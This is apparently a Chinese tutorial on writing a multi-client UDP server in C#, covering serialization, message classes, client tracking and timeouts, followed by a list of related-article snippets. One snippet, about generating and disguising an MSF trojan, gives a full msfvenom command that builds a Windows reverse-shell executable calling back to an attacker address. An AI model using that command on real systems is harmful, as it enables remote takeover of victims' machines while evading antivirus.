用C#实现UDP服务器
对UDP服务器的要求
如同TCP通信一样让UDP服务端可以服务多个客户端
需要具备的条件:
1.区分消息类型(不需要处理分包、黏包)
2.能够接收多个客户端的消息
3.能够主动给自己发过消息的客户端发消息(记录客户端信息)
4.主动记录上次收到客户端消息的时间,如果长时间没有收到消息,主动移除记录的客户端信息
分析:
1.UDP是无连接的,我们如何记录连入的客户端
2.UDP收发消息都是通过一个Socket来处理,我们应该如何和处理收发消息
3.如果不使用心跳消息,如何记录上次收到消息的时间
基本数据类--封装序列化和反序列化等方法
此代码定义了一个抽象基类BaseData,其中包含抽象方法用于获取字节数组容器大小、序列化和反序列化成员变量,还提供了一系列受保护的方法用于在字节数组和不同数据类型(如int、short、long等)及字符串、BaseData子类对象之间进行读写操作。
using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;public abstract class BaseData
{//用于子类重写的 获取字节数组容器大小的方法public abstract int GetBytesNum();//把成员变量序列化为对应的字节数组public abstract byte[] Writing();public abstract int Reading(byte[] bytes, int beginIndex=0);//bytes指定的字节数组//value具体的int值//index索引位置的变量protected void WriteInt(byte []bytes,int value,ref int index){BitConverter.GetBytes(value).CopyTo(bytes, index);index += sizeof(int);}protected void WriteShort(byte[]bytes,short value,ref int index){BitConverter.GetBytes(value).CopyTo(bytes, index);index += sizeof(short);}protected void WriteLong(byte[]bytes,long value,ref int index){BitConverter.GetBytes(value).CopyTo(bytes, index);index += sizeof(long);}protected void WriteFloat(byte[] bytes, float value, ref int index){BitConverter.GetBytes(value).CopyTo(bytes, index);index += sizeof(float);}protected void WriteByte(byte[]bytes,byte value,ref int index){bytes[index] = value;index += sizeof(byte);}protected void WriteBool(byte[] bytes, bool value, ref int index){BitConverter.GetBytes(value).CopyTo(bytes, index);index += sizeof(bool);}protected void WriteString(byte[]bytes,string value,ref int index){//先存储string字节数组的长度byte[] strBytes = Encoding.UTF8.GetBytes(value);//BitConverter.GetBytes(strBytes.Length).CopyTo(bytes, index);//index += sizeof(int);WriteInt(bytes, strBytes.Length, ref index);//再存string字节数组strBytes.CopyTo(bytes, index);index += strBytes.Length;}protected void WriteData(byte[]bytes,BaseData data,ref int index){data.Writing().CopyTo(bytes, index);index += data.GetBytesNum();}protected int ReadInt(byte[]bytes,ref int index){int value = BitConverter.ToInt32(bytes, index);index += 4;return value;}protected short ReadShort(byte[] bytes, ref int index){short value = BitConverter.ToInt16(bytes, index);index += 2;return value;}protected long ReadLong(byte[] bytes, ref int index){long value = BitConverter.ToInt64(bytes, index);index += 8;return value;}protected float ReadFloat(byte[] bytes, ref int index){float value = BitConverter.ToSingle(bytes, index);index += sizeof(float);return value;}protected byte ReadByte(byte[] bytes, ref int index){byte value = bytes[index];index += 1;return value;}protected bool ReadBool(byte[] bytes, ref int index){bool value = BitConverter.ToBoolean(bytes, index);index += sizeof(bool);return value;}protected string ReadString(byte[] bytes, ref int index){int length = ReadInt(bytes, ref index);string value = Encoding.UTF8.GetString(bytes, index, length);index += length;return value;}protected T ReadData<T>(byte[] bytes, ref int index) where T : BaseData, new(){T value = new T();index+= value.Reading(bytes,index);return value;}
}
基本消息类
这段代码定义了一个名为BaseMsg的类,它继承自BaseData类。BaseMsg类重写了BaseData的抽象方法GetBytesNum、Reading和Writing,但这些重写方法只是简单抛出NotImplementedException异常,表明目前未实现具体逻辑。此外,BaseMsg类还定义了一个虚方法GetID,默认返回 0。
BaseMsg类的设计目的主要是作为消息类的基类,为后续具体消息类的实现提供统一的接口和结构框架。
using System.Collections;
using System.Collections.Generic;public class BaseMsg : BaseData
{public override int GetBytesNum(){throw new System.NotImplementedException();}public override int Reading(byte[] bytes, int beginIndex = 0){throw new System.NotImplementedException();}public override byte[] Writing(){throw new System.NotImplementedException();}public virtual int GetID(){return 0;}
}
玩家信息类
这段代码定义了一个名为PlayerMsg的类,它继承自BaseMsg类。PlayerMsg类代表了与玩家相关的消息,并且实现了消息的序列化和反序列化功能。
using System.Collections;
using System.Collections.Generic;public class PlayerMsg : BaseMsg
{public int playerID;public PlayerData playerData;public override int GetBytesNum(){return 4 +//消息ID4 +//playerID长度playerData.GetBytesNum();//消息的长度}public override int GetID(){return 1001;}public override int Reading(byte[] bytes, int beginIndex = 0){//反序列化不需要去解析ID,因为在这一步之前,就应该将ID反序列化出来//用来判断到底使用哪一个自定义类来反序列化int index = beginIndex;playerID = ReadInt(bytes, ref index);playerData = ReadData<PlayerData>(bytes, ref index);return index - beginIndex;}public override byte[] Writing(){int index = 0;byte[] playerBytes = new byte[GetBytesNum()];//先写消息IDWriteInt(playerBytes, GetID(), ref index);WriteInt(playerBytes, playerID, ref index);WriteData(playerBytes, playerData, ref index);return playerBytes;}
}
using System.Collections;
using System.Collections.Generic;
using System.Text;public class PlayerData : BaseData
{public string name; public int lev;public int atk;public override int GetBytesNum(){return 4 + 4 + 4 + Encoding.UTF8.GetBytes(name).Length;}public override int Reading(byte[] bytes, int beginIndex = 0){int index = beginIndex;name=ReadString(bytes, ref index);lev=ReadInt(bytes, ref index);atk=ReadInt(bytes, ref index);return index - beginIndex;}public override byte[] Writing(){int index = 0;byte[] bytes = new byte[GetBytesNum()];WriteString(bytes, name, ref index);WriteInt(bytes, lev, ref index);WriteInt(bytes, atk, ref index);return bytes;}
}
这段代码定义了一个名为PlayerData的类,它继承自BaseData类。PlayerData类的作用是用来表示玩家的相关数据,并且实现了这些数据的序列化与反序列化功能。
服务端类
这段代码定义了一个名为ServerSocket的类,用于构建基于 UDP 协议的服务器,它能通过绑定指定 IP 和端口启动服务,利用线程池实现消息接收与客户端超时检查,将客户端信息存储在字典中,可处理新客户端连接,接收客户端消息并交予对应客户端对象处理,支持向指定客户端发送消息、向所有客户端广播消息,还能移除超时或指定的客户端。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;namespace UDPServerExerise
{class ServerSocket{public Socket socket;private bool IsClose;//我们可以通过记录谁给我们发了消息 把它的IP和端口记录下来 这样就认为他是我的客户端了private Dictionary<string, Client> clientDic = new Dictionary<string, Client>();public void Start(string ip,int port){socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);IPEndPoint ipPoint = new IPEndPoint(IPAddress.Parse(ip), port);try{socket.Bind(ipPoint);IsClose = false;}catch (Exception e){Console.WriteLine("UDP开启错误" + e.Message);}//接收消息,使用线程池ThreadPool.QueueUserWorkItem(ReceiveMsg);//检测超时的线程ThreadPool.QueueUserWorkItem(CheakTimeOut);}private void CheakTimeOut(object obj){long nowTime=0;List<string> delClient = new List<string>();while (true){//30秒检查一次Thread.Sleep(30000);//得到当前系统时间nowTime = DateTime.Now.Ticks / TimeSpan.TicksPerSecond;foreach (Client c in clientDic .Values){//超过十秒没有 收到消息的客户端需要被移除if(nowTime -c.frontTime >=10){delClient.Add(c.clientID);}}//从待删除列表中删除超时客户端for (int i = 0; i < delClient.Count; i++)RemoveClient(delClient[i]);delClient.Clear();}}private void ReceiveMsg(object obj){byte[] bytes = new byte[512];//记录谁发的string strID = "";string ip;int port;EndPoint ipPoint = new IPEndPoint(IPAddress.Any, 0);while (!IsClose){if(socket.Available >0){lock(socket)socket.ReceiveFrom(bytes, ref ipPoint);//处理消息 最好不要直接在这里处理,而是交给客户端对象处理//收到消息时,我们要判断 是不是记录了这个客户端的信息(ip和端口)//出去发送消息给我的IP和端口ip = (ipPoint as IPEndPoint).Address.ToString();port = (ipPoint as IPEndPoint).Port;strID = ip + port;//拼接成唯一一个ID这是我们自定义的规则//判断有没有记录这个客户端的信息,如果有直接用它处理信息if(clientDic .ContainsKey (strID )){clientDic[strID].ReceiveMsg(bytes);}else//如果没有 直接添加并处理消息{clientDic.Add(strID, new Client(ip, port));clientDic[strID].ReceiveMsg(bytes);}}}}public void SendTo(BaseMsg msg,IPEndPoint ipPoint){try{lock (socket)socket.SendTo(msg.Writing(), ipPoint);}catch (SocketException s){Console.WriteLine("发消息出现问题" + s.SocketErrorCode + s.Message);}catch (Exception e){Console.WriteLine("发消息出现问题(可能是序列化的问题)" + e.Message);}}private void Close(){if(socket!=null){socket.Shutdown(SocketShutdown.Both);socket.Close();IsClose = true;socket = null;}}public void BoardCast(BaseMsg msg){//广播给谁foreach (Client c in clientDic .Values){SendTo(msg,c.ipAndPoint);}}public void RemoveClient(string clientID){if(clientDic .ContainsKey (clientID)){Console.WriteLine("客户端{0}被移除了", clientID);clientDic.Remove(clientID);}}}
}
客户端类
这段代码定义了Client类,用于处理 UDP 服务器端接收到的来自客户端的消息。Client类的构造函数通过传入的 IP 和端口创建IPEndPoint对象并生成唯一的客户端 ID;ReceiveMsg方法接收消息字节数组,拷贝消息到新数组,记录消息接收时间,并将消息处理任务放入线程池;ReceiceHandleMsg方法从消息字节数组中解析消息类型、长度和消息体,针对不同消息 ID(如 1001 对应PlayerMsg消息,1003 对应quitMsg消息)进行相应处理,如反序列化PlayerMsg并输出相关信息,处理quitMsg时移除对应客户端,若处理消息出错也会移除该客户端。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;namespace UDPServerExerise
{class Client{public IPEndPoint ipAndPoint;public string clientID;public float frontTime = -1;public Client (string ip,int port){//规则和外边一样 记录唯一ID 通过ip和port拼接的形式clientID = ip + port;//把客户端的信息记录下来ipAndPoint = new IPEndPoint(IPAddress.Parse(ip), port);}public void ReceiveMsg(byte[]bytes){//为了避免处理消息时又接收到了新的消息 所以我们需要在处理消息前 先把消息拷贝出来//处理消息和接收消息用不同容器 避免发生冲突byte[] cacheBytes = new byte[512];bytes.CopyTo(cacheBytes, 0);//记录发消息的系统时间frontTime = DateTime.Now.Ticks / TimeSpan.TicksPerSecond;ThreadPool.QueueUserWorkItem(ReceiceHandleMsg, cacheBytes);}private void ReceiceHandleMsg(object obj){try{byte[] bytes = obj as byte[];int nowIndex = 0;//解析消息类型int msgID = BitConverter.ToInt32(bytes, nowIndex);nowIndex += 4;//解析消息长度int length = BitConverter.ToInt32(bytes, nowIndex);nowIndex += 4;//解析消息体switch (msgID){case 1001:PlayerMsg playerMsg = new PlayerMsg();playerMsg.Reading(bytes, nowIndex);Console.WriteLine(playerMsg.playerID);Console.WriteLine(playerMsg.playerData.lev);Console.WriteLine(playerMsg.playerData.atk);Console.WriteLine(playerMsg.playerData.name);break;case 1003:quitMsg quitMsg = new quitMsg();//由于它没有消息体 所以不用反序列化//quitMsg.Reading(bytes, nowIndex);//处理退出Program.serverSocket.RemoveClient(clientID);break;}}catch (Exception e){Console.WriteLine("处理消息出错" + e.Message);//如果出错了,就不用记录客户端的信息了Program.serverSocket.RemoveClient(clientID);}}}
}
退出消息类
这段代码定义了一个名为quitMsg的类,它继承自BaseMsg类,用于表示退出消息,重写了GetBytesNum方法指定消息字节数为 8,重写GetID方法返回消息唯一标识符 1003,重写Reading方法调用基类方法进行反序列化,重写Writing方法将消息 ID 和消息体长度(这里设为 0)序列化为字节数组。
using System.Collections;
using System.Collections.Generic;public class quitMsg : BaseMsg
{public override int GetBytesNum(){return 8;}public override int GetID(){return 1003;}public override int Reading(byte[] bytes, int beginIndex = 0){return base.Reading(bytes, beginIndex);}public override byte[] Writing(){int index = 0;byte[] bytes = new byte[GetBytesNum()];WriteInt(bytes, GetID(), ref index);WriteInt(bytes, 0, ref index);return bytes;}
}
主函数启动服务器
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;namespace UDPServerExerise
{class Program{public static ServerSocket serverSocket;static void Main(string[] args){serverSocket = new ServerSocket();serverSocket.Start("127.0.0.1", 8080);Console.WriteLine("UDP服务器启动了");string input = Console.ReadLine();if(input.Substring (0,2)=="B:"){PlayerMsg msg = new PlayerMsg();msg.playerData = new PlayerData();msg.playerID = 1001;msg.playerData.atk = 999;msg.playerData.lev = 88;msg.playerData.name ="DamnF的服务器";serverSocket.BoardCast(msg);}}}
}
成功运行程序--等待客户端通信

相关文章:
用C#实现UDP服务器
对UDP服务器的要求 如同TCP通信一样让UDP服务端可以服务多个客户端 需要具备的条件: 1.区分消息类型(不需要处理分包、黏包) 2.能够接收多个客户端的消息 3.能够主动给自己发过消息的客户端发消息(记录客户端信息)…...
React 组件之间的通信
React 组件通信 对于 React 组件之间的通信,我们首先了解一下 React 组件通信的设计理念。 单向数据流(Unidirectional Data Flow) 数据流向明确: 在 React 中,数据总是从父组件流向子组件(通过 Props 传…...
[C++面试] span<char>和string_view的差别
1、概念 std::string_view是领域特定设计(字符串)。C17引入,仅用于处理以空字符(\0)结尾的字符序列;仅支持字符类型(如 char、wchar_t、std::string),用于高效访问字符串…...
在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式
在 VMware Workstation 17 中安装的 Ubuntu 虚拟机无法使用桥接模式时,通常是由于 网络配置错误、桥接适配器选择不当或主机网络环境限制 导致。以下是详细的排查和解决方法:我采用第一步就解决了问题 1. 检查 VMware 桥接模式配置 步骤 1:…...
谐波和三相不平衡度
谐波(Harmonics) 谐波是指在电力系统中,由于非线性负载的作用,导致电流或电压波形偏离理想正弦波形的现象。具体来说: 定义: 在理想情况下,交流电的电压和电流波形是正弦波。然而,由于电力系统中存在非线性负载(如变频器、整流器、开关电源等),这些负载会使得电流或…...
深克隆和浅克隆(建造者模式,内含简版)
让我们来看一个例子: 设计一个客户类Customer,其中客户地址存储在地址类Address中,用浅克隆和深克隆分别实现Customer对象的复制并比较这两种克隆方式的异同。 代码实现 Customer类和Address类都是实现的Java 内置的 java.lang.Cloneable …...
印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航
我和我的同事们经常被问到关于 PCB 效应的相同问题,例如: 仿真何时需要 PCB 效果? 为什么时域仿真需要 PCB 效应? 当 PCB 效应必须包含在仿真中时,频率是否重要? 设计人员应该在多大程度上关注 VRM 模型中包…...
循环队列 bug
1. 题目描述 spfa判断负环 LC 设计循环队列 2. 普通单队列 int q[N]; int hh 0, tt -1; while(hh < tt) // empty {int t q[ hh ]; // push/* do something */q[ tt ] j; // pop }3. 错误的循环队列 int q[N]; int hh 0, tt -1; while(hh ! (tt 1) % N) // 非空 …...
Leetcode 最小基因变化
java solution:BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…...
输出输入练习
1. 题目:这个程序将向用户提出一个"y/N"问题,然后把用户输入的值赋值给answer变量。要求:针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…...
人员进出新视界:视觉分析算法的力量
视觉分析赋能离岗检测新策略 随着时代的发展,失业率增加,社会安保压力也随之增大。企业为了提升管理效率,保障园区安全,对员工离岗检测的需求日益迫切。传统的离岗管理方式,如人工巡逻、打卡记录等,不仅效率…...
3DGS较真系列
引言 机器视觉领域中,新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础,催生了大量的应用,包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史…...
MSF木马的生成及免杀
先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…...
人工智能与无人机:无人机的进步与应用技术详解
人工智能(Artificial Intelligence,简称AI)是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机,全称为无人驾驶飞行器(UAV),也称为无人机器人、…...
LeetCode算法题(Go语言实现)_12
题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线,第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线,使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…...
“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨
💥 "11.9元"引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 🎯 🔍 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…...
SQL注入零基础学习二MYSQL手工注入
1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…...
可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计
RF-DETR:SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构,采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型,同时在基础尺寸下具有竞争力。…...
【hadoop】hadoop streaming
API: https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html(hadoop3) https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming(hadoop2) hadoop version查看hadoop版本&#…...
Unity-RectTransform设置UI width
不知道有没人需要这样的代码,就是.sizeDelta //不确定是不是英文翻译的原因,基本很难理解,sizeDeltaSize,//未必完全正确,但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…...
开发中后端返回下划线数据,要不要统一转驼峰?
先说结论。看情况!!!! 前端 主要用 JS/TS 建议后端返回 camelCase,减少前端转换成本。后端 主要是 Python/Go 建议保持 snake_case,前端做转换。但是团队统一风格最重要!如果统一返回驼峰就驼峰…...
【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上,结合当代大数据和大算力的发展而发展出来的。深度学习最重…...
链表-LeetCode
这里写目录标题 1 排序链表1.1 插入法 O(n)1.2 归并排序 1 排序链表 1.1 插入法 O(n) /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullpt…...
TypeScript 与 JavaScript 对比
核心概念对比 JavaScript 语言类型:动态类型脚本语言诞生时间:1995年(ES1标准)类型系统:运行时类型检查文件扩展名:.js编译需求:无需编译,直接执行 TypeScript 语言类型…...
Selenium之Web Driver常用属性
Web Driver常用属性 在上一篇文章里我们安装并且使用了selenium来操控浏览器;这一节我们来看一下Driver的一些常用属性;可以方便和浏览器进行交互 废话不多说,下面以实践为主 获取浏览器名称 browser_name browser.name print(browser_n…...
EF Core 执行原生SQL语句
文章目录 前言一、执行查询(返回数据)1) 使用 FromSqlRaw或 FromSqlInterpolated 方法,适用于 DbSet<T>,返回实体集合。2)结合 LINQ 查询 二、执行非查询操作(增删改)1&#x…...
新版 eslintrc 文件弃用 .eslintignore已弃用 替代方案
1.进入eslint.config.mjs文件 2.import { defineConfig, globalIgnores } from "eslint/config"; 引入globalIgnores 3.配置 defineConfig([ ... globalIgnores([ "config/*", ".husky", ".local", "public/*", ".…...
Python二分查找【清晰易懂】
1. 二分查找是什么? 想象你在玩“猜数字”游戏: 对方心里想一个 1~100 的数字,你每次猜一个数,对方会告诉你是“大了”还是“小了”。 最快的方法:每次都猜中间的数!比如第一次猜50,如果大了&…...
Azure SDK 使用指南
Azure SDK(软件开发工具包)是一组由微软提供的工具和库,旨在帮助开发者以多种编程语言(如 .NET、Java、Python、JavaScript 等)与 Azure 服务进行交互。 通过使用 Azure SDK,开发者可以更高效地构建、部…...
【STL】vector介绍(附部分接口模拟实现)
文章目录 1.介绍2.使用2.1 vector的构造2.2 vector空间相关接口2.2.1 size()2.2.2 capacity()2.2.3 empty()2.2.4 resize()2.2.5 reserve() 2.3 vector的增删查改2.3.1 push_back()2.3.2 insert()2.3.3 pop_back()2.3.4 erase()2.3.5 swap()2.3.6 operator[]注:关于…...
